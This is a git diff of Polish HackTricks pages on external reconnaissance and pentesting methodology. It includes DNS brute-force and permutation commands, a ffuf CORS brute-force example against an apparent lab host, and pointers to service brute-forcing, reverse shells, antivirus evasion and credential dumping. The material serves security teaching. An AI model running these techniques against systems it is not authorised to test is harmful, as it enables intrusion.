||||
Masz [**przykład używający tej techniki i wyjaśniający to tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a to jest ostateczny exploit, który wykorzystano:
|
||||
```python
|
||||
|
@ -192,8 +192,8 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,13 +15,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Odkrywanie zasobów
|
||||
## Assets discoveries
|
||||
|
||||
> Powiedziano ci, że wszystko, co należy do jakiejś firmy, jest w zakresie, a ty chcesz ustalić, co ta firma faktycznie posiada.
|
||||
|
||||
|
@ -32,7 +32,7 @@ Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy*
|
|||
3. Użyć odwrotnych wyszukiwań whois, aby poszukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
|
||||
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby poszukać innych zasobów (sztuczka `ssl` może być wykonana rekurencyjnie).
|
||||
|
||||
### **Przejęcia**
|
||||
### **Acquisitions**
|
||||
|
||||
Przede wszystkim musimy wiedzieć, które **inne firmy są własnością głównej firmy**.\
|
||||
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukiwanie** głównej firmy i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
|
||||
|
@ -40,7 +40,7 @@ Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukiwani
|
|||
|
||||
> Ok, w tym momencie powinieneś znać wszystkie firmy w zakresie. Ustalmy, jak znaleźć ich zasoby.
|
||||
|
||||
### **ASN-y**
|
||||
### **ASNs**
|
||||
|
||||
Numer systemu autonomicznego (**ASN**) to **unikalny numer** przypisany do **systemu autonomicznego** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
|
||||
**AS** składa się z **bloków** **adresów IP**, które mają wyraźnie zdefiniowaną politykę dostępu do zewnętrznych sieci i są zarządzane przez jedną organizację, ale mogą składać się z kilku operatorów.
|
||||
|
@ -76,8 +76,8 @@ Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4i
|
|||
### **Szukając luk**
|
||||
|
||||
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
|
||||
Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
|
||||
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Możesz również przeprowadzić [**skany portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
|
||||
**Również warto wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeny
|
||||
|
||||
|
@ -85,7 +85,7 @@ Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/
|
|||
|
||||
_Proszę zauważyć, że w poniższych proponowanych technikach możesz również znaleźć subdomeny i ta informacja nie powinna być niedoceniana._
|
||||
|
||||
Przede wszystkim powinieneś poszukać **głównej domeny**(y) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
Przede wszystkim powinieneś poszukać **głównej domeny**(s) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
|
@ -101,7 +101,7 @@ Możesz również użyć narzędzia online do uzyskania tych informacji: [http:/
|
|||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
|
||||
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
|
||||
Możesz użyć narzędzi online, takich jak:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
|
||||
|
@ -164,7 +164,7 @@ Szukaj na stronach internetowych **ciągów, które mogą być wspólne dla ró
|
|||
|
||||
### **CRT Time**
|
||||
|
||||
To powszechne, aby mieć zadanie cron takie jak
|
||||
Powszechną praktyką jest posiadanie zadania cron, takiego jak
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
|
@ -204,7 +204,7 @@ Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które
|
|||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -384,18 +384,18 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### Druga runda brute-force DNS
|
||||
|
||||
Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz wygenerować modyfikacje znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
|
||||
Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz wygenerować modyfikacje znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych do tego celu:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Daje domeny i subdomeny, generuje permutacje.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuje permutacje.
|
||||
* Możesz uzyskać permutacje goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuj permutacje.
|
||||
* Możesz uzyskać permutacje **wordlist** goaltdns **tutaj** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie wskazano pliku z permutacjami, gotator użyje swojego własnego.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Podane domeny i subdomeny generują permutacje. Jeśli nie wskazano pliku z permutacjami, gotator użyje swojego własnego.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -462,7 +462,7 @@ Dzięki tej technice możesz nawet uzyskać dostęp do wewnętrznych/ukrytych pu
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/subdomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **subdomeny**.
|
||||
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/poddomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **poddomeny**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -475,13 +475,13 @@ Również, w tym momencie, gdy będziesz znać wszystkie domeny w zakresie, spr
|
|||
|
||||
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Poszukiwanie luk**
|
||||
### **Szukając luk w zabezpieczeniach**
|
||||
|
||||
Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
|
||||
_Uwaga, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
_Uwaga, czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
|
||||
## IPs
|
||||
|
||||
|
@ -494,9 +494,9 @@ Korzystając z usług następujących **darmowych API**, możesz również znale
|
|||
|
||||
Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, używając narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Poszukiwanie luk**
|
||||
### **Szukając luk w zabezpieczeniach**
|
||||
|
||||
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki**.
|
||||
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki w zabezpieczeniach**.
|
||||
|
||||
**Znajdź** [**przewodnik**](../pentesting-network/) **na temat skanowania hostów.**
|
||||
|
||||
|
@ -594,7 +594,7 @@ Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), a
|
|||
|
||||
Stare, ale złote dorki Google są zawsze przydatne do znajdowania **ujawnionych informacji, które nie powinny tam być**. Jedynym problemem jest to, że [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie możesz uruchomić ręcznie. Możesz więc wybrać swoje ulubione 10 lub możesz użyć **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks), **aby uruchomić je wszystkie**.
|
||||
|
||||
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie zakończą, ponieważ Google zablokuje cię bardzo, bardzo szybko._
|
||||
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie skończą, ponieważ Google zablokuje cię bardzo, bardzo szybko._
|
||||
|
||||
### **Szukając luk**
|
||||
|
||||
|
@ -620,9 +620,9 @@ Istnieją również darmowe usługi, które pozwalają na **skanowanie publiczny
|
|||
|
||||
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
|
||||
|
||||
## Reasumpcja
|
||||
## Rekapitulacja
|
||||
|
||||
> Gratulacje! Na tym etapie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
|
||||
> Gratulacje! W tym momencie wykonałeś już **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
|
||||
|
||||
Więc już:
|
||||
|
||||
|
@ -636,7 +636,7 @@ Więc już:
|
|||
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki sekretów**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
|
||||
9. **Pentesting wszystkich stron, które znalazłeś**
|
||||
|
||||
## **Pełne automatyczne narzędzia rekonesansowe**
|
||||
## **Pełne narzędzia automatyczne do rekonesansu**
|
||||
|
||||
Istnieje kilka narzędzi, które wykonają część zaproponowanych działań przeciwko danemu zakresowi.
|
||||
|
||||
|
@ -647,17 +647,17 @@ Istnieje kilka narzędzi, które wykonają część zaproponowanych działań pr
|
|||
|
||||
## **Referencje**
|
||||
|
||||
* Wszystkie darmowe kursy [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia Łowcy Błędów v4.0 - Wydanie Rekonesansowe**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Wszystkie darmowe kursy [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia Łowcy Błędów v4.0 - Wydanie Rekonesansu**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i hackowaniem tego, co nie do zhackowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
|
|||
|
||||
### 0- Ataki fizyczne
|
||||
|
||||
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) i innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
|
||||
|
||||
|
@ -48,7 +48,7 @@ Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z si
|
|||
|
||||
Pierwszą rzeczą do zrobienia, gdy **szukasz luk w hoście**, jest poznanie, które **usługi działają** na jakich portach. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Szukając exploitów wersji usług](search-exploits.md)
|
||||
### **4-** [**Wyszukiwanie exploitów wersji usług**](search-exploits.md)
|
||||
|
||||
Gdy już wiesz, które usługi działają, a może ich wersje, musisz **szukać znanych luk**. Może masz szczęście i istnieje exploit, który da ci powłokę...
|
||||
|
||||
|
@ -56,10 +56,10 @@ Gdy już wiesz, które usługi działają, a może ich wersje, musisz **szukać
|
|||
|
||||
Jeśli nie ma żadnego fajnego exploita dla żadnej działającej usługi, powinieneś poszukać **częstych błędów konfiguracyjnych w każdej działającej usłudze.**
|
||||
|
||||
**W tej książce znajdziesz przewodnik po pentestingu najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, przeszukaj lewy indeks w sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
|
||||
**W tej książce znajdziesz przewodnik po pentestowaniu najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, przeszukaj lewy indeks w sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
|
||||
|
||||
**Chcę szczególnie wspomnieć o części** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej rozbudowana).**\
|
||||
Również mały przewodnik na temat [**znajdowania znanych luk w oprogramowaniu**](search-exploits.md) można znaleźć tutaj.
|
||||
**Chcę szczególnie wspomnieć o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest to najbardziej rozbudowana część).**\
|
||||
Również mały przewodnik po tym, jak [**znaleźć znane luki w oprogramowaniu**](search-exploits.md), można znaleźć tutaj.
|
||||
|
||||
**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym to dodał.** Jeśli **nie możesz nic znaleźć** w Google, przeprowadź **własny ślepy pentesting**, możesz zacząć od **połączenia się z usługą, fuzzowania jej i czytania odpowiedzi** (jeśli jakieś są).
|
||||
|
||||
|
@ -67,9 +67,9 @@ Również mały przewodnik na temat [**znajdowania znanych luk w oprogramowaniu*
|
|||
|
||||
Istnieje również kilka narzędzi, które mogą przeprowadzać **automatyczne oceny luk**. **Zalecałbym spróbować** [**Legion**](https://github.com/carlospolop/legion)**, które jest narzędziem, które stworzyłem i opiera się na notatkach dotyczących pentestingu usług, które możesz znaleźć w tej książce.**
|
||||
|
||||
#### **5.2 Bruteforce usług**
|
||||
#### **5.2 Bruteforcing usług**
|
||||
|
||||
W niektórych scenariuszach **Brute-Force** może być przydatny do **kompromitacji** **usługi**. [**Znajdź tutaj CheatSheet różnych usług do bruteforce**](brute-force.md)**.**
|
||||
W niektórych scenariuszach **Brute-Force** może być przydatny do **kompromitacji** **usługi**. [**Znajdź tutaj CheatSheet różnych usług do bruteforcingu**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
|
@ -77,7 +77,7 @@ Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz pot
|
|||
|
||||
### **7-** [**Uzyskiwanie powłoki**](reverse-shells/)
|
||||
|
||||
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki zwrotnej, byłaby bardzo przydatna](reverse-shells/).
|
||||
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Wtedy [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki zwrotnej, byłaby bardzo przydatna](reverse-shells/).
|
||||
|
||||
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -97,7 +97,7 @@ Prawdopodobnie będziesz musiał **wyciągnąć jakieś dane z ofiary** lub nawe
|
|||
|
||||
#### **10.1- Lokalne Privesc**
|
||||
|
||||
Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Jeśli **nie jesteś rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**:
|
||||
|
||||
|
@ -114,10 +114,10 @@ Tutaj znajdziesz [**metodologię wyjaśniającą najczęstsze działania w celu
|
|||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Grabież
|
||||
#### **11**.1 - Grabienie
|
||||
|
||||
Sprawdź, czy możesz znaleźć więcej **haseł** wewnątrz hosta lub czy masz **dostęp do innych maszyn** z **uprawnieniami** swojego **użytkownika**.\
|
||||
Znajdź tutaj różne sposoby na [**zrzut haseł w Windowsie**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
Znajdź tutaj różne sposoby na [**zrzucenie haseł w Windowsie**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Utrzymywanie
|
||||
|
||||
|
@ -129,8 +129,8 @@ TODO: Uzupełnij post o utrzymywaniu w Windowsie i Linuxie
|
|||
### 12 - Pivoting
|
||||
|
||||
Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, w których jest połączona twoja ofiara.\
|
||||
W takim przypadku tunelowanie może być konieczne. Tutaj znajdziesz [**post mówiący o tunelowaniu**](tunneling-and-port-forwarding.md).\
|
||||
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzutu danych logowania.\
|
||||
W takim przypadku tunelowanie może być konieczne. Tutaj możesz znaleźć [**post mówiący o tunelowaniu**](tunneling-and-port-forwarding.md).\
|
||||
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
|
||||
Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być bardzo przydatna do pivotowania w środowiskach Windows.
|
||||
|
||||
### WIĘCEJ
|
||||
|
@ -151,9 +151,9 @@ Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -112,10 +112,10 @@ Celem kontenerów distroless jest **zmniejszenie powierzchni ataku kontenerów p
|
|||
|
||||
### Odwrócona powłoka
|
||||
|
||||
W kontenerze distroless możesz **nawet nie znaleźć `sh` ani `bash`**, aby uzyskać zwykłą powłokę. Nie znajdziesz również plików binarnych, takich jak `ls`, `whoami`, `id`... wszystko, co zwykle uruchamiasz w systemie.
|
||||
W kontenerze distroless możesz **nawet nie znaleźć `sh` lub `bash`**, aby uzyskać zwykłą powłokę. Nie znajdziesz również plików binarnych takich jak `ls`, `whoami`, `id`... wszystko, co zwykle uruchamiasz w systemie.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dlatego **nie będziesz** w stanie uzyskać **odwróconej powłoki** ani **enumerować** systemu, jak zwykle.
|
||||
Dlatego **nie będziesz** w stanie uzyskać **odwróconej powłoki** ani **enumerować** systemu, jak zwykle to robisz.
|
||||
{% endhint %}
|
||||
|
||||
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację flask, to python jest zainstalowany, a zatem możesz uzyskać **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz uzyskać odwróconą powłokę Node, i to samo z większością **języków skryptowych**.
|
||||
|
@ -132,7 +132,7 @@ Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj istnieją, ale mo
|
|||
|
||||
